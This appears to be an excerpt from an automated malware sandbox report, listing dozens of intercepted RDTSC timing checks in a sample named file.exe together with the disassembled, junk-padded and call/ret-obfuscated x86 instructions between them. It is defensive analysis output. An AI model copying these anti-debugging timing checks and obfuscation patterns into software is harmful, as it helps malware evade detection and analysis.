Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F4D7 second address: 29F4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F4DB second address: 29F4DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F4DF second address: 29F4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F4E5 second address: 29F4EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F4EB second address: 29F51C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F18AD7F4076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebx 0x0000000f mov esi, dword ptr [ebp+122D2AC5h] 0x00000015 nop 0x00000016 jnc 00007F18AD7F4080h 0x0000001c push eax 0x0000001d jc 00007F18AD7F4084h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F51C second address: 29F520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29F776 second address: 29F77A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29FAAD second address: 29FAD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A094h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F18AD89A08Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29FAD1 second address: 29FAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29FAD5 second address: 29FADA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 29FF01 second address: 29FF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A0831 second address: 2A0836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A125D second address: 2A1267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F18AD7F4076h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A0836 second address: 2A0840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F18AD89A086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A26B2 second address: 2A26B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A26B8 second address: 2A26BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A26BC second address: 2A2759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F18AD7F407Ch 0x00000013 push edx 0x00000014 jnp 00007F18AD7F408Bh 0x0000001a jmp 00007F18AD7F4085h 0x0000001f pop edi 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F18AD7F4078h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c push 00000000h 0x0000003e jmp 00007F18AD7F4084h 0x00000043 xchg eax, ebx 0x00000044 push esi 0x00000045 push ecx 0x00000046 pushad 0x00000047 popad 0x00000048 pop ecx 0x00000049 pop esi 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F18AD7F4083h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A2759 second address: 2A2763 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F18AD89A086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A31BD second address: 2A324B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F18AD7F4076h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 call 00007F18AD7F4087h 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007F18AD7F4078h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ecx 0x0000003e call 00007F18AD7F4078h 0x00000043 pop ecx 0x00000044 mov dword ptr [esp+04h], ecx 0x00000048 add dword ptr [esp+04h], 00000017h 0x00000050 inc ecx 0x00000051 push ecx 0x00000052 ret 0x00000053 pop ecx 0x00000054 ret 0x00000055 xchg eax, ebx 0x00000056 pushad 0x00000057 push edx 0x00000058 js 00007F18AD7F4076h 0x0000005e pop edx 0x0000005f jl 00007F18AD7F407Ch 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A91CA second address: 2A91CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A91CE second address: 2A91D8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F18AD7F4076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AA78F second address: 2AA80C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F18AD89A08Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F18AD89A088h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 mov bx, ax 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007F18AD89A088h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000019h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 mov edi, 3E34CB00h 0x0000004c push 00000000h 0x0000004e jnp 00007F18AD89A08Ch 0x00000054 push eax 0x00000055 jp 00007F18AD89A094h 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AB6F0 second address: 2AB6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AB6F8 second address: 2AB74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jng 00007F18AD89A088h 0x0000000f push 00000000h 0x00000011 mov bx, si 0x00000014 xor dword ptr [ebp+122D1B30h], ebx 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D19AAh], esi 0x00000022 xchg eax, esi 0x00000023 jne 00007F18AD89A0A2h 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F18AD89A08Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AD6B1 second address: 2AD6B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AD8E2 second address: 2AD8FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AD8FB second address: 2AD902 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2AFACC second address: 2AFAE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD89A096h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B09B2 second address: 2B09B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0B6B second address: 2B0B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0B6F second address: 2B0B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F18AD7F4080h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f jl 00007F18AD7F408Bh 0x00000015 pushad 0x00000016 jmp 00007F18AD7F407Dh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0C8F second address: 2B0C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B5228 second address: 2B524D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007F18AD7F407Fh 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B524D second address: 2B5266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD89A095h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B5266 second address: 2B526A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B526A second address: 2B531C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F18AD89A096h 0x0000000e jns 00007F18AD89A09Bh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F18AD89A088h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr [ebp+12447558h], ebx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007F18AD89A088h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc esi 0x0000004e push esi 0x0000004f ret 0x00000050 pop esi 0x00000051 ret 0x00000052 jmp 00007F18AD89A08Dh 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a pushad 0x0000005b pushad 0x0000005c popad 0x0000005d jmp 00007F18AD89A092h 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B77F0 second address: 2B7878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F18AD7F4081h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F18AD7F4078h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F18AD7F4078h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 jp 00007F18AD7F4076h 0x0000004c push 00000000h 0x0000004e jmp 00007F18AD7F4083h 0x00000053 push eax 0x00000054 pushad 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B2CB1 second address: 2B2CB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B1C4C second address: 2B1C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B2CB7 second address: 2B2CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B2CBD second address: 2B2CC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B2CC1 second address: 2B2CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F18AD89A0A7h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B2DE2 second address: 2B2DE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B2DE8 second address: 2B2DEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B98CD second address: 2B98D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B98D2 second address: 2B9901 instructions: 0x00000000 rdtsc 0x00000002 js 00007F18AD89A092h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jno 00007F18AD89A094h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9901 second address: 2B999C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD7F4081h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007F18AD7F407Ah 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F18AD7F4078h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d jmp 00007F18AD7F407Eh 0x00000032 or edi, dword ptr [ebp+122D1CCDh] 0x00000038 ja 00007F18AD7F407Ah 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push edi 0x00000043 call 00007F18AD7F4078h 0x00000048 pop edi 0x00000049 mov dword ptr [esp+04h], edi 0x0000004d add dword ptr [esp+04h], 00000015h 0x00000055 inc edi 0x00000056 push edi 0x00000057 ret 0x00000058 pop edi 0x00000059 ret 0x0000005a mov edi, 47B822B7h 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 push edi 0x00000063 jmp 00007F18AD7F407Bh 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BA905 second address: 2BA95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F18AD89A088h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 sub bl, 0000007Fh 0x00000024 cmc 0x00000025 push 00000000h 0x00000027 sub bx, 5B1Bh 0x0000002c push 00000000h 0x0000002e mov bh, al 0x00000030 xchg eax, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F18AD89A095h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BA95A second address: 2BA95E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BA95E second address: 2BA964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BA964 second address: 2BA978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F4080h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BA978 second address: 2BA98E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F18AD89A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007F18AD89A086h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9B2E second address: 2B9B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9B34 second address: 2B9B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B9B39 second address: 2B9B3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BBAA4 second address: 2BBAC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A095h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F18AD89A094h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BBAC8 second address: 2BBACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BAB20 second address: 2BAB2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F18AD89A086h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BABFE second address: 2BAC04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2668A6 second address: 2668AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2668AA second address: 2668AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C29F0 second address: 2C29FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C29FD second address: 2C2A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F18AD7F4081h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C8FF5 second address: 2C903D instructions: 0x00000000 rdtsc 0x00000002 js 00007F18AD89A088h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d ja 00007F18AD89A09Eh 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F18AD89A096h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C90EB second address: 2C90F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 263250 second address: 263255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEB86 second address: 2CEB9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEB9B second address: 2CEB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEE56 second address: 2CEE79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F18AD7F4076h 0x0000000a pushad 0x0000000b jmp 00007F18AD7F4084h 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEE79 second address: 2CEE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEE84 second address: 2CEE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEE88 second address: 2CEE8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEFC2 second address: 2CEFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CEFC6 second address: 2CEFE1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F18AD89A086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F18AD89A091h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D3522 second address: 2D3526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D3526 second address: 2D353C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F18AD89A086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D8560 second address: 2D8565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D86DC second address: 2D870B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F18AD89A096h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007F18AD89A08Fh 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D870B second address: 2D8710 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D81ED second address: 2D8206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A094h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D9187 second address: 2D9192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D9192 second address: 2D9198 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
